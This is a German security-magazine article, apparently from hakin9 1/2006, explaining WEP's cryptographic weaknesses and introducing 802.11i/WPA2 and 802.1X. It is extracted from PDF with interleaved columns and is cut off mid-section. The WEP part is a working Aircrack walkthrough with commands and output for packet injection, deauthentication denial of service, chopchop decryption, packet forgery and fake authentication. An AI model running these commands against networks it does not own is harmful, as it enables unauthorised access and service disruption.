You are on page 1of 16

Wi-Fi-Sicherheit – WEP,

WPA und WPA2


Thema der Ausgabe

Guillaume Lehembre

Schwierigkeitsgrad

Wi-Fi (Wireless Fidelity) ist eine der heute führenden drahtlosen


Technologien, wobei Wi-Fi-Unterstützung in immer mehr Geräte
integriert wird: Laptops, PDAs, Handys. Jedoch bleibt ein
Konfigurationsaspekt all zu oft unbeachtet: Sicherheit.
Werfen wir einmal einen näheren Blick auf das Sicherheitslevel
von Verschlüsselungsmethoden, die in modernen
Wi-Fi-Implementationen benutzt werden.

S
elbst wenn in Wi-Fi-Geräten Sicher- Nachricht C wurde demnach unter Benutzung
heitsmaßnahmen aktiviert sind, wird in der folgenden Formel bestimmt:
der Regel ein schwaches Verschlüsse-
lungsprotokoll wie zum Beispiel WEP benutzt. C = [ M || ICV(M) ] + [ RC4(K || IV) ]
In diesem Artikel werden wir die Schwächen
von WEP untersuchen und feststellen, wie wobei || ein Verknüpfungsoperator ist und +
einfach es ist, das Protokoll zu knacken. Die ein XOR-Operator. Offensichtlich ist der Initia-
beklagenswerte Unangemessenheit von WEP
verdeutlicht das Bedürfnis nach einer neuen
Sicherheitsarchitektur in Form des 802.11i- In diesem Artikel
Standards, weshalb wir ebenfalls einen Blick erfahren Sie...
in Standardimplementationen von WPA und
• die Schwächen der WEP-Verschlüsselung,
WPA2, sowie deren ersten kleineren Sicher-
• einen umfassenden Überblick über den
heitslücken und deren Integration in Betriebs-
802.11i-Standard und seine kommerziellen
systeme werfen. Umsetzungen: WPA und WPA2,
• die Grundlagen von 802.1x,
R.I.P. WEP • die potentiellen Schwächen von WPA und
WEP (Wired Equivalent Privacy) war das Stan- WPA2.
dard-Verschlüsselungsprotokoll, das im ersten
IEEE 802.11-Standard bereits im Jahre 1999 Was Sie vorher wissen/können
eingeführt wurde. Es basiert auf dem RC4-
sollten...
Verschlüsselungsalgorithmus, mit einem ge-
heimen Schlüssel von 40 oder 104 Bits, die mit • die Grundlagen von TCP/IP und des Wi-Fi-Pro-
einem 24-Bit-Initialisierungsvektor (IV) kombi- tokolls,
niert werden, um die Klartextnachricht M und • Sie sollten Grundkenntnisse in der Kryptogra-
dessen Prüfsumme – den ICV (Integrity Check phie besitzen.
Value) – zu verschlüsseln. Die verschlüsselte

12 hakin9 Nr. 1/2006 www.hakin9.org


WEP-, WPA- und WPA2-Sicherheit

lisierungsvektor der Schlüssel für die


Sicherheit von WEP. Will man ein an-
ständiges Maß an Sicherheit beibe-
halten und Enthüllungen minimieren,
sollte der IV für jedes Paket erhöht
werden, damit nachfolgende Pakete
mit unterschiedlichen Schlüsseln
verschlüsselt werden. Bedauerlich
für die WEP-Sicherheit ist, dass
der IV im Klartext übertragen wird
und dass der 802.11-Standard keine
IV-Erhöhung erzwingt. Er überlässt
diese Sicherheitsmaßnahme den
Optionen der jeweiligen Implemen- Abbildung 1. WEP-Verschlüsselungsprotokoll
tation der drahtlosen Endgeräte (Ac-
cess Point oder Wireless Card). benötigt wird, ziemlich lang. David herstellen (oder etwas langsamer,
Hulton (h1kari) entwickelte eine op- abhängig vom speziellen Access
Eine kurze timierte Version des Angriffs, der in Point und der Wireless Card).
Vorgeschichte zu WEP die Betrachtung nicht nur das erste Das Einfließen von Paket-In-
Das WEP-Protokoll wurde nicht von Byte der RC4-Ausgabe (wie in der jection verbesserte die Zeiten fürs
Sicherheits- oder Kryptographie-Ex- FMS-Methode) einbezog, sondern WEP-Cracking außerordentlich, da
perten entworfen, weshalb es sich ebenfalls die nachfolgenden. Das jetzt nicht mehr Millionen, sondern
schnell als anfällig für die RC4-Proble- führte zu einer geringfügigen Redu- nur noch wenige tausend Pakete mit
me, die von David Wagner vier Jahre zierung der Datenmenge, die für die genügend einmaligen IVs benötigt
davor beschrieben wurden, zeigte. Analyse notwendig war. werden – rund 150.000 für einen
Im Jahre 2001 veröffentlichten Scott Der Schritt der Integritätsüber- 64-Bit WEP-Schlüssel und 500.000
Fluhrer, Itsik Mantin und Adi Shamir prüfung leidet ebenfalls an einer für einen 128-Bit-Schlüssel. Mit Pa-
(oder kurz: FMS) ihre berühmte Arbeit ernsthaften Schwachstelle aufgrund ket-Injection war das Sammeln der
über WEP, die zwei Schwachstellen des CRC32-Algorithmus, der für notwendigen Daten eine Sache von
im RC4-Verschlüsselungsalgorithmus diese Aufgabe benutzt wird. CRC32 Minuten. Gegenwärtig ist WEP völlig
aufzeigten: Invariance Weaknesses wird häufig bei Fehlererkennungen zweifellos tot (siehe Tabelle 1) und
und Angriffe bei bekanntem IV. Beide benutzt, aber wurde aufgrund seiner sollte nicht benutzt werden, nicht
Angriffe beruhen auf der Tatsache, Linearität nie als kryptographisch si- einmal mit Schlüsselrotation.
dass es für bestimmte Schlüsselwerte cher angesehen, wie Nikita Borisov, WEP-Sicherheitslücken können
möglich ist, dass Bits in den Anfangs- Ian Goldberg und David Wagner im wie folgt zusammengefasst werden:
bytes des Keystream von nur ein paar Jahre 2001 feststellten.
wenigen Bits des Encryption-Key Seit diesem Zeitpunkt wurde • Schwachstellen des RC4-Algo-
abhängen (obgleich normalerweise angenommen, dass WEP nur für rithmus im WEP-Protokoll auf-
jedes Bit eines Keystreams sich mit Privatanwender und unkritische An- grund der Schlüsselkonstruktion;
50% Wahrscheinlichkeit vom voran- wendungen ein akzeptables Maß an • IV sind zu kurz (24 Bits – weniger
gehenden unterscheidet). Weil der Sicherheit bietet. Jedoch war selbst als 5000 Pakete werden für eine
Encryption-Key durch die Verknüp- diese vorsichtige Zurückhaltung mit 50% Kollisionswahrscheinlichkeit
fung des geheimen Schlüssels mit dem Erscheinen von KoreK-Angrif- benötigt) und IV-Wiederbenut-
dem IV zusammengesetzt wird, er- fen im Jahr 2004 (verallgemeinerte zung ist erlaubt (kein Schutz ge-
geben bestimmte IV-Werte schwache FMS-Angriffe, darunter auch die gen Nachrichtenwiederholung);
Schlüssel. Optimierungen von h1kari) und des • keine angemessene Integritäts-
Die Schwachstellen werden von Inverted Arbaugh inductive-Angriffs, überprüfung (CRC32 wird für
Sicherheitstools, wie zum Beispiel der es ermöglicht, dass beliebige Fehlererkennung benutzt und ist
AirSnort, ausgenutzt. Damit ist es Pakete ohne Wissen über den aufgrund seiner Linearität krypto-
möglich WEP-Schlüssel wiederher- Schlüssel durch Packet-Injection graphisch unsicher);
zustellen, indem eine ausreichende entschlüsselt werden können, kom- • keine eingebaute Methode zur
Menge an Traffic analysiert wird. plett vergessen. Cracking-Tools, wie Aktualisierung von Schlüsseln.
Während diese Art von Angriff er- Aircrack von Christophe Devine oder
folgreich in einem belebten Netzwerk WepLab von José Ignacio Sánchez Cracking von WEP-Schlüsseln
bei einem vernünftigen Zeitaufwand setzen diese Angriffe um und kön- mit Aircrack
durchgeführt werden kann, war nen einen 128-Bit WEP-Schlüssel Mit Tools wie Aircrack (erstellt
die Zeit, die zur Datenverarbeitung in weniger als 10 Minuten wieder- vom französischen Security Re-

www.hakin9.org hakin9 Nr. 1/2006 13


Thema der Ausgabe

Tabelle 1. Zeitachse des Todes von WEP


Datum Beschreibung ARP-Request
Das Address Resolution Protocol (ARP
Septem- Potentielle RC4-Schwachstelle (Wagner) – RFC826) wird benutzt, um 32-Bit
ber 1995 IP-Adressen in 48-Bit Ethernet-Adres-
Oktober Erste Publikation über WEP-Schwachstellen: Unsafe at any sen umzuwandeln (Wi-Fi-Netzwerke
benutzen ebenfalls das Ethernet-Proto-
2000 key size; An analysis of the WEP encapsulation (Walker)
koll). Zur Veranschaulichung dient Fol-
Mai 2001 An inductive chosen plaintext -Angriff gegen WEP/WEP2 gendes: wenn ein Host A (192.168.1.1)
(Arbaugh) mit einem Host B (192.168.1.2) kommu-
Juli 2001 CRC Bit flipping-Angriff – Intercepting Mobile Communicati- nizieren möchte, muss die bekannte
IP-Adresse in eine MAC-Adresse unter
ons: The Insecurity of 802.11 (Borisov, Goldberg, Wagner)
Benutzung des ARP-Protokolls umge-
August FMS-Angriffe – Weaknesses in the Key Scheduling Algorithm wandelt werden. Um das zu machen,
2001 of RC4 (Fluhrer, Mantin, Shamir) sendet Host A eine Broadcast-Nach-
August Veröffentlichung von AirSnort richt, die die IP-Adresse vom Host B
2001 enthält (Wer hat 192.168.1.2? Sage
es 192.168.1.1). Der Zielhost gibt eine
Februar Optimierte FMS-Angriffe von h1kari
Antwort zurück (192.168.1.2 ist auf 01:
2002 23:45:67:89:0A), nachdem er erkannt
August KoreK-Angriffe (einmalige IV) – Veröffentlichung von chopchop hat, dass die IP-Adresse im Paket
2004 und chopper mit der eigenen übereinstimmt. Die
Antwort wird üblicherweise im Cache
Juli/ Veröffentlichung von Aircrack (Devine) und WepLab (San-
aufbewahrt.
August chez), die die KoreK-Angriffe umsetzen
2004
Netzwerk. Die meisten Befehle er-
searcher Christophe Devine) kann werden. Wenn die Treiber gepatched fordern root-Privilegien.
WEP-Cracking sehr leicht demons- sind, wird nur eine Wireless Card be- Der erste Schritt ist das Akti-
triert werden. Aircrack enthält drei nötigt, um gleichzeitig aufzunehmen vieren des Monitor-Modus auf Ihrer
Hauptwerkzeuge, die in den drei und Traffic einzuspeisen. Wireless-Card (hier ein Atheros-
für die Schlüsselwiederherstellung Das Hauptziel eines Angriffs ist basiertes Modell), damit wir den
benötigten Angriffsphasen benutzt es Traffic zu erzeugen, um einma- gesamten Traffic einfangen können
werden: lige IV einzufangen, die zwischen (siehe Listing 1). Der nächste Schritt
einem legitimierten Client und ei- ist das Herausfinden von in der Nähe
• airodump: Wireless Sniffing- nem Access Point benutzt werden. liegenden Netzwerken und deren
Tool, das zur Entdeckung von Einige verschlüsselte Daten sind Clients, indem alle 14 Kanäle, die
Netzwerken mit aktivierten WEP leicht wiedererkennbar, weil sie ei- Wi-Fi-Netzwerke benutzen können
benutzt wird; ne feste Länge besitzen, eine feste (siehe Listing 2), gescannt werden.
• aireplay: Injection-Tool zur Erhö- Zieladresse usw. Das ist der Fall Der Ergebnis in Listing 2 ist
hung des Traffics; bei ARP-Request-Paketen (siehe folgendermaßen zu interpretieren:
• aircrack: WEP-Schlüssel-Cra- Kasten ARP-Request), die an die ein Access Point mit der BSSID
cker, das die gesammelten ein- Broadcast-Adresse (FF:FF:FF:FF: 00:13:10:1F:9A:72 benutzt WEP-
zelnen IV benutzt. FF:FF) gesendet werden und eine Verschlüsselung auf dem Kanal 1
feste Länge von 68 Oktetts haben. mit der SSID hakin9demo und ein
Derzeit unterstützt aireplay Injections ARP-Requests können wiederholt Client, der durch die MAC-Adresse
nur auf bestimmten Wireless-Chip- werden, um neue ARP-Responses 00:0C:F1:19:77:5C identifiziert wer-
sätzen. Für die Injection-Unterstüt- von einem berechtigtem Host zu den kann, ist mit diesem Netzwerk
zung im Monitor-Modus werden die verursachen, was zu Nachrichten verbunden und authentifiziert.
neuesten gepatchten Treiber benö- im Funknetz führt, die mit neuen IVs Sobald das Zielnetzwerk lokali-
tigt. Der Monitor-Modus ist das Äqui- verschlüsselt werden. siert wurde, sollte das Einfangen auf
valent zum Promiscuous-Modus in In den folgenden Beispielen ist dem richtigen Kanal, um das Verpas-
Kabelnetzwerken. Dieser verhindert, 00:13:10:1F:9A:72 die MAC-Adres- sen von Paketen während des Scan-
dass Pakete, die nicht für den über- se des Access Points (BSSID) im nens anderer Kanäle zu vermeiden,
wachenden Host bestimmt sind, Kanal 1 mit der SSID hakin9demo gestartet werden. Folgender Befehl
abgelehnt werden (was üblicherwei- und 00:09:5B:EB:C5:2B ist die erzeugt die gleiche Ausgabe wie der
se auf der physischen Schicht des MAC-Adresse eines Clients (der vorangegangene:
OSI-Stacks gemacht wird). Dadurch WEP oder WPA-PSK, je nach
können alle Pakete eingefangen Beispiel, benutzt) im drahtlosen # airodump ath0 wep-crk 1

14 hakin9 Nr. 1/2006 www.hakin9.org


WEP-, WPA- und WPA2-Sicherheit

Als Nächstes können wir die vorher


gesammelten Informationen dazu Listing 1. Aktivierung des Monitor-Modus
benutzen, mithilfe von aireplay # airmon.sh start ath0
Traffic einzuspeisen. Die Injection Interface Chipset Driver
beginnt, wenn ein eingefangener ath0 Atheros madwifi (monitor mode enabled)
ARP-Request, der mit der als Ziel
angesetzten BSSID verknüpft ist, im
drahtlosen Netzwerk auftaucht: Listing 2. Auffinden in der Nähe liegender Netzwerke und deren Clients

# aireplay -3 \ # airodump ath0 wep-crk 0

-b 00:13:10:1F:9A:72 \
BSSID PWR Beacons # Data CH MB ENC ESSID
-h 00:0C:F1:19:77:5C \
00:13:10:1F:9A:72 62 305 16 1 48 WEP hakin9demo
-x 600 ath0
(...) BSSID STATION PWR Packets ESSID
Read 980 packets 00:13:10:1F:9A:72 00:0C:F1:19:77:5C 56 1 hakin9demo

(got 16 ARP requests),


sent 570 packets...
zierungs-Pakete von der BSSID aus Angriff 3: Entschlüsselung
Letztendlich wird aircrack dazu an die MAC-Adresse des Clients beliebiger WEP-Datenpakete
benutzt, den WEP-Schlüssel zu gesendet werden, wobei die BSSID ohne Kenntnis des Schlüssels
erlangen. Die Verwendung der gespooft wird: Dieser Angriff basiert auf dem Proof-
pcap-Datei macht es möglich, dass of-Concept-Tool von KoreK, genannt
dieser letzte Schritt ausgeführt wer- # aireplay -0 5 chopchop, das mit WEP verschlüs-
den kann, noch während airodump -a 00:13:10:1F:9A:72 selte Pakete entschlüsseln kann,
dabei ist Daten einzufangen (siehe -c 00:0C:F1:19:77:5C ohne das dabei der Schlüssel selbst
Abbildung 2 für die Ergebnisse): ath0 bekannt sein muss. Die Integritäts-
prüfung, die im WEP-Protokoll um-
# aircrack -x -0 wep-crk.cap Massen-Deauthentifizierung ist gesetzt wurde, ermöglicht es einem
ebenfalls möglich (allerdings nicht Angreifer, sowohl ein verschlüssel-
Andere Arten immer zuverlässig) und ist damit tes Paket, als auch dessen zuge-
von Aircrack-Angriffen verbunden, dass der Angreifer konti- hörigen CRC zu verändern. Darüber
Aircrack macht es außerdem mög- nuierlich die BSSID spoofen und die hinaus bedeutet die Benutzung des
lich, andere interessante Angriffsar- Deauthentifizierungs-Pakete an die XOR-Operators im WEP-Protokoll,
ten durchzuführen. Schauen wir uns Broadcast-Adresse senden muss: dass ein ausgewähltes Byte in der
ein paar von ihnen einmal näher an. verschlüsselten Nachricht immer
# aireplay -0 0 vom gleichen Byte in der Klartext-
Angriff 2: Deauthentifizierung -a 00:13:10:1F:9A:72 Nachricht abhängt. Durch das
Dieser Angriff kann dazu benutzt ath0 Abschneiden des letzten Bytes der
werden, eine versteckte SSID (z. B.
eine, die nicht per Broadcast versen-
det wird) zu erlangen, einen 4-Wege-
Handshake von WPA einzufangen
oder ein Denial of Service zu erzwin-
gen (dazu später in der Sektion über
802.11i mehr). Das Ziel des Angriffs
ist es, den Client dazu zu bringen,
dass er sich erneut authentifiziert.
Dies, zusammen mit dem Fehlen
einer Authentifizierung für Control
Frames (die für die Authentifizie-
rung, Verbindung etc. benutzt wird),
ermöglicht es einem Angreifer, MAC-
Adressen zu spoofen.
Einem Client im drahtlosen Netz-
werk kann die Authentifizierung mit
folgendem Befehl entzogen werden.
Dieser bewirkt, dass Deauthentifi- Abbildung 2. Aircrack-Ergebnisse nach ein paar Minuten

www.hakin9.org hakin9 Nr. 1/2006 15


Thema der Ausgabe

wie gewöhnlich weitergeleitet. Indem


Listing 3. Entschlüsseln von WEP-Paketen ohne Kenntnis des man diesen Angriff für alle Bytes ei-
Schlüssels ner Nachricht wiederholt, kann man
# aireplay -4 -h 00:0C:F1:19:77:5C ath0
ein WEP-Paket entschlüsseln und
Read 413 packets... den Keystream wiederherstellen.
Size: 124, FromDS: 0, ToDS: 1 (WEP) Denken Sie daran, dass IV-Inkre-
BSSID = 00:13:10:1F:9A:72 mentierung im WEP-Protokoll nicht
Dest. MAC = 00:13:10:1F:9A:70
verbindlich ist, weshalb es möglich
Source MAC = 00:0C:F1:19:77:5C
0x0000: 0841 d500 0013 101f 9a72 000c f119 775c .A.......r....w\
ist, diesen Keystream wiederzuver-
0x0010: 0013 101f 9a70 c040 c3ec e100 b1e1 062c .....p.@......., wenden, um nachfolgende Pakete zu
0x0020: 5cf9 2783 0c89 68a0 23f5 0b47 5abd 5b76 \.'...h.#..GZ.[v spoofen (Wiederbenutzung des IV).
0x0030: 0078 91c8 adfe bf30 d98c 1668 56bf 536c .x.....0...hV.Sl Die Wireless-Card muss auf
0x0040: 7046 5fd2 d44b c6a0 a3e2 6ae1 3477 74b4 pF_..K....j.4wt.
dem richtigen Kanal in den Monitor-
0x0050: fb13 c1ad b8b8 e735 239a 55c2 ea9f 5be6 .......5#.U...[.
0x0060: 862b 3ec1 5b1a a1a7 223b 0844 37d1 e6e1 .+>.[...";.D7...
Modus gewechselt werden (siehe
0x0070: 3b88 c5b1 0843 0289 1bff 5160 ;....C....Q` vorangegangenes Beispiel für eine
Use this packet ? y Beschreibung dazu). Der Angriff
Saving chosen packet in replay_src-0916-113713.cap muss gegen einen berechtigten
Offset 123 ( 0% done) | xor = 07 | pt = 67 | 373 frames written in 1120ms
Client (immer noch 00:0C:F1:19:
Offset 122 ( 1% done) | xor = 7D | pt = 2C | 671 frames written in 2013ms
(...)
77:5C in unserem Fall) durchge-
Offset 35 (97% done) | xor = 83 | pt = 00 | 691 frames written in 2072ms führt werden und aireplay wird den
Offset 34 (98% done) | xor = 2F | pt = 08 | 692 frames written in 2076ms Angreifer dazu auffordern, jedes
Saving plaintext in replay_dec-0916-114019.cap einzelne verschlüsselte Paket an-
Saving keystream in replay_dec-0916-114019.xor
zunehmen (siehe Listing 3). Zwei
Completed in 183s (0.47 bytes/s)
pcap-Dateien werden erzeugt: ei-
ne für das unverschlüsselte Paket
und eine weitere für deren dazu-
Listing 4. Einlesen einer pcap-Datei aus einem Angriff
gehörigen Keystream. Die daraus
# tcpdump -s 0 -n -e -r replay_dec-0916-114019.cap resultierende Datei kann mit einem
reading from file replay_dec-0916-114019.cap, link-type IEEE802_11 (802.11) passenden Reader (wir werden
11:40:19.642112 BSSID:00:13:10:1f:9a:72 § tcpdump benutzen) lesbar gemacht
SA:00:0c:f1:19:77:5c DA:00:13:10:1f:9a:70
werden – siehe Listing 4 für ein
LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000),
ethertype IPv4 (0x0800): 192.168.2.103 > 192.168.2.254: Beispiel eines Ping, der zwischen
ICMP echo request, id 23046, seq 1, length 64 Hosts ausgetauscht wird.
Sobald der Keystream aufge-
zeichnet wurde, ist es möglich,
jegliche Pakete zu fälschen. Hier
Listing 5. Wiedergabe eines gefälschten Pakets
ist ein gespoofter ARP-Request,
# aireplay -2 -r forge-arp.cap ath0 der von 192.168.2.123 (00:0C:F1:
Size: 68, FromDS: 0, ToDS: 1 (WEP) 19:77:5C) an 192.168.2.103 gesen-
BSSID = 00:13:10:1F:9A:72
det wird:
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:0C:F1:19:77:5C
0x0000: 0841 0201 0013 101f 9a72 000c f119 775c .A.......r....w\ # arpforge \
0x0010: ffff ffff ffff 8001 c3ec e100 b1e1 062c ..............., replay_dec-0916-114019.xor \
0x0020: 5cf9 2785 4988 60f4 25f1 4b46 1ab0 199c \.'.I.`.%.KF.... 1 \
0x0030: b78c 5307 6f2d bdce d18c 8d33 cc11 510a ..S.o-.....3..Q.
00:13:10:1F:9A:72 \
0x0040: 49b7 52da I.R.
00:0C:F1:19:77:5C \
Use this packet ? y
Saving chosen packet in replay_src-0916-124231.cap 192.168.2.123 \
You must also start airodump to capture replies. 192.168.2.103 \
Sent 1029 packets... forge-arp.cap

verschlüsselten Nachricht, wird die- Wenn das nachgebesserte Paket Schließlich wird aireplay dazu be-
se beschädigt. Gleichzeitig wird aber wiederum in das Netzwerk einge- nutzt dieses Paket wiederzugeben
dadurch ermöglicht, dass der Wert speist wird, wird es vom Access (siehe Listing 5).
des dazugehörigen Klartext-Bytes Point gedropped, wenn die Vermu- Diese Methode ist weniger
erraten werden und die verschlüs- tung falsch war (in diesem Fall muss automatisiert als das eigene ARP-
selte Nachricht dementsprechend erneut geschätzt werden). Bei einer Request-Spoofing von Aircrack (die
korrigiert werden kann. richtigen Vermutung wird es jedoch -1-Option), ist jedoch anpassbarer.

16 hakin9 Nr. 1/2006 www.hakin9.org


WEP-, WPA- und WPA2-Sicherheit

Der Angreifer kann den entdeckten


Keystream dazu benutzen, jegliche Listing 6. Fake-Authentifizierung
Pakete zu fälschen, die nicht länger # aireplay -1 0 -e hakin9demo -a 00:13:10:1F:9A:72 -h 0:1:2:3:4:5 ath0
als der Keystream sind (andernfalls 18:30:00 Sending Authentication Request
muss der Keystream ausgedehnt 18:30:00 Authentication successful
werden). 18:30:00 Sending Association Request
18:30:00 Association successful

Angriff 4:
Fake-Authentifizierung
Die vorher (Angriffe 1 und 3) be- Im Juni 2004 wurde der endgül- • Schlüsselableitung und -vertei-
schriebenen Cracking-Methoden für tige Release des 802.11i-Standards lung;
den WEP-Schlüssel benötigen einen angenommen und erhielt den kom- • RSNA-Datenvertraulichkeit und
berechtigten Client (real oder virtuell, merziellen Namen WPA2 von der -integrität.
wobei real besser ist), der mit einem Wi-Fi Alliance. Der IEEE 802.11i-
Access Point verbunden ist, um Standard führte solche grundlegen- Phase 1: Übereinkommen
sicherzustellen, dass der Access de Änderungen wie die Trennung über die Sicherheitspolicy
Point keine Pakete aufgrund einer der Nutzerauthentifizierung und Die erste Phase verlangt von den
nicht angeschlossenen Zieladresse der Sicherstellung der Nachrich- kommunizierenden Parteien, dass
verwirft. tenintegrität bzw. -geheimhaltung sich diese auf die zu benutzende
Wenn eine offene Authentifi- und stellt dadurch eine stabile und Sicherheitspolicy einigen. Sicher-
zierung benutzt wird, kann jeder anpassbare Sicherheitsarchitektur heitspolicies, die der Access Point
Client mit dem Access Point au- zur Verfügung, die gleichermaßen unterstützt, werden in Beacon oder
thentifiziert und angeschlossen für Heimnetzwerke und große in einer Probe Respond-Nachricht
werden, allerdings wird der Access Unternehmensumgebungen geeig- (die einem Probe Request vom Client
Point alle diejenigen Pakete drop- net ist. Die neue Architektur für folgt) angekündigt. Es folgt eine offe-
pen, die nicht mit dem richtigen drahtlose Netzwerke wird Robust ne Standardauthentifikation (genau
WEP-Schlüssel verschlüsselt wur- Security Network (RSN) genannt wie in TSN-Netzwerken, in denen
den. In dem Beispiel in Listing 6 und benutzt 802.1X-Authentifikati- eine Authentifikation immer erfolgreich
wird Aireplay dazu benutzt, einen on, stabile Schlüsselverteilung und ist). Die Antwort des Clients wird in
Authentication- und Association- neue Integritäts- und Privacy-Me- der Association Request-Nachricht
Request für die SSID hakin9demo chanismen. eingefügt, die von einem Association
(BSSID: 00:13:10:1F:9A:72) mit der Obwohl die RSN-Architektur Response vom Access Point bestätigt
gespooften MAC-Adresse 0:1:2:3: komplexer ist, bietet sie sichere und wird. Informationen zur Sicherheitspo-
4:5 zu fälschen. skalierbare Lösungen für drahtlose licy wird im Feld RSN IE (Information
Einige Access Points erfordern, Kommunikationen. Ein RSN wird Element) gesendet, im Detail:
dass sich Clients alle 30 Sekunden üblicherweise nur RSN-fähige Ge-
erneut verbinden. Dieses Verhalten räte akzeptieren, allerdings definiert • unterstützte Authentifikationsme-
kann in aireplay nachgeahmt wer- IEEE 802.11i auch eine Transitional thoden (802.1X, Pre-Shared Key
den, indem die zweite Option (0) mit Security Network (TSN)-Architek- (PSK));
30 ersetzt wird. tur, in der sowohl RSN als auch • Sicherheitsprotokolle für Unicast-
WEP-Systeme teilnehmen können, Traffic (CCMP, TKIP etc.) – die
802.11i wodurch es Benutzern ermöglicht Cipher-Suite für zwei Kommuni-
Im Januar 2001 wurde die i-Task wird, ihre Ausstattung rechtzeitig kationspartner;
Group im IEEE gegründet, um die aufzurüsten. Wenn der Authentifi- • Sicherheitsprotokolle für Multi-
Datenauthentifizierung und die Ver- kationsvorgang oder Verbindungs- cast-Traffic (CCMP, TKIP etc.)
schlüsselungssicherheit zu verbes- aufbau zwischen den Geräten den – die Cipher-Suite für Gruppen,
sern. Im April 2003 veröffentlichte 4-Wege-Handshake benutzt, wird • Unterstützung für Pre-Authenti-
die Wi-Fi Alliance (ein Verband zur der Verbindungsaufbau als RSNA fizierung, die es Benutzern er-
Förderung und Zertifizierung von (Robust Security Network Associa- möglicht, sich vor dem Wechsel
Wi-Fi) eine Empfehlung als Antwort tion) bezeichnet. zu einem neuen Access Point
auf Bedenken von Unternehmen in Die Herstellung einer sicheren des gleichen Netzwerks bereits
Bezug auf die Sicherheit drahtloser Kommunikationsumgebung besteht vorläufig zu authentifizieren,
Netzwerke. Jedoch waren sie sich aus vier Phasen (siehe Abbildung 4): zum Zwecke einer nahtlosen
ebenfalls bewusst, dass Verbrau- Übergabe.
cher nicht gewillt sein würden, ihr • Übereinkommen über die Sicher-
vorhandenes Equipment zu erset- heitspolicy; Abbildung 5 veranschaulicht diese
zen. • 802.1X-Authentifikation; erste Phase.

www.hakin9.org hakin9 Nr. 1/2006 17


Thema der Ausgabe

bittet, wobei die Antwort des Clients


die bevorzugte Authentifikations-
methode enthält. Danach werden
geeignete Nachrichten zwischen
dem Client und dem Authentication
Server ausgetauscht, um einen all-
gemeinen Master Key (MK) zu ge-
nerieren. Am Ende des Verfahrens
wird eine Radius Accept-Nachricht
vom Authentication Server an den
Access Point gesandt, der den MK
und eine endgültige EAP Success-
Nachricht für den Client enthält.
Abbildung 6 veranschaulicht diese
zweite Phase.

Abbildung 3. IEEE 802.1X-Modell aus der IEEE 802.1X-Spezifikation Phase 3: Schlüsselhierarchie


und -verteilung
Phase 2: (die eine Public Key Infrastructure Verbindungssicherheit stützt sich im
802.1X-Authentifikation erfordern), EAP/TTLS oder PEAP großen Maße auf geheime Schlüs-
Die zweite Phase ist die auf EAP für hybride Authentifikation (bei der sel. Bei RSN besitzt jeder Schlüssel
und den speziell vereinbarten Au- nur die Server Zertifikate benötigen) eine begrenzte Lebensdauer und
thentifikationsmethoden basierende etc. Die 802.1X-Authentifizierung eine Gesamtsicherheit wird durch
802.1X-Authentifizierung: EAP/TLS wird eingeleitet, wenn der Access die Benutzung einer Sammlung
mit Client- und Serverzertifikaten Point um Identitätsdaten vom Client mehrerer Schlüssel, die in einer Hie-

IEEE 802.1X und EAP


Das IEEE 802.1X-Authentifikationsprotokoll (ebenfalls bekannt Der 802.11i-Standard führt kleinere Veränderungen an
als Port-Based Network Access Control) ist ein Framework, IEEE 802.1X für drahtlose Netzwerke durch, damit die Möglich-
welches ursprünglich für Kabelnetzwerke entwickelt wurde keit des Identitätsdiebstahls berücksichtigt wird. Eine Nach-
und das Authentifizierung, Autorisierung und Schlüsselvertei- richtenauthentifizierung wurde eingebaut, damit sichergestellt
lungsmechanismen zur Verfügung stellt. Es setzt ebenfalls ei- ist, dass sowohl der Supplicant als auch der Authenticator ihre
ne Zugangskontrolle für Benutzer, die sich mit dem Netzwerk geheimen Schlüssel berechnen und die Verschlüsselung akti-
verbinden, um. Die IEEE 802.1X-Architektur besteht aus drei vieren, bevor sie auf das Netzwerk zugreifen.
funktionellen Einheiten: Der Supplicant und der Authenticator kommunizieren
mithilfe eines EAP-basierten Protokolls. Beachten Sie, dass
• dem Supplicant, der sich mit dem Netzwerk verbindet; die Rolle des Authenticators im Wesentlichen passiv ist
• dem Authenticator, der eine Zugangskontrolle bereit stellt; – möglicherweise leitet er einfach alle Nachrichten an den
• dem Authentication Server, der Authentifizierungsentschei- Authentication Server weiter. EAP ist ein Framework für den
dungen trifft. Transport verschiedener Authentifizierungsmethoden und
ermöglicht nur eine begrenzte Anzahl von Nachrichten (Re-
In kabellosen Netzwerken dient der Access Point als Authenti- quest, Response, Success, Failure), während andere dazwi-
cator. Jeder physische Port (virtueller Port in drahtlosen Netz- schenliegende Nachrichten abhängig von der ausgewählten
werken) wird in zwei logische Ports unterteilt, die die PAE (Port Authentifikationsmethode sind: EAP-TLS, EAP-TTLS, PEAP,
Access Entity) bilden. Die Authentifizierungs-PAE ist immer of- Kerberos V5, EAP-SIM etc. Wenn der gesamte Vorgang abge-
fen und lässt Authentifikations-Frames durch, während der Ser- schlossen wurde (aufgrund der Vielzahl möglicher Methoden
vice-PAE nur nach einer erfolgreichen Autentifizierung (z. B. bei werden wir hier ins Detail gehen), haben beide Einheiten (z. B.
einem autorisierten Zustand) für eine begrenzte Zeit (Standard der Supplicant und der Authentication Server) einen geheimen
sind 3600 Sekunden) geöffnet wird. Die Entscheidung, ob der Master-Schlüssel. Das Protokoll, das in drahtlosen Netzwer-
Zugang erlaubt werden soll, wird üblicherweise von der dritten ken dazu benutzt wird EAP zu transportieren, wird als EAPOL
Einheit, namentlich dem Authentication Server (der entweder (EAP Over LAN) bezeichnet. Kommunikationen zwischen dem
ein bestimmter Radius-Server oder – zum Beispiel in Privat- Authenticator und dem Authentication Server finden mithilfe
netzwerken – ein einfacher Prozess, der auf einem Access von Protokollen höherer Schichten, wie zum Beispiel Radius
Point läuft, sein kann) gemacht. Abbildung 3 veranschaulicht, usw., statt.
wie diese Einheiten kommunizieren.

18 hakin9 Nr. 1/2006 www.hakin9.org


WEP-, WPA- und WPA2-Sicherheit

rarchie geordnet sind, sicher gestellt.


Wenn ein Sicherheitsrahmen nach
einer erfolgreichen Authentifizierung
hergestellt wird, werden temporäre
(Session-)Schlüssel erzeugt und
regelmäßig aktualisiert, bis der Si-
cherheitsrahmen wieder geschlos-
sen wurde. Schlüsselerzeugung und
-austausch sind das Ziel der dritten
Phase. Es tauchen während der
Schlüsselerstellung zwei Handsha-
kes auf (siehe Abbildung 7):

• 4-Wege-Handshake für PTK-


(Pairwise Transient Key) und
GTK- (Group Transient Key)
Erstellung; Abbildung 4. 802.11i Arbeitsphasen
• Gruppenschlüssel-Handshake
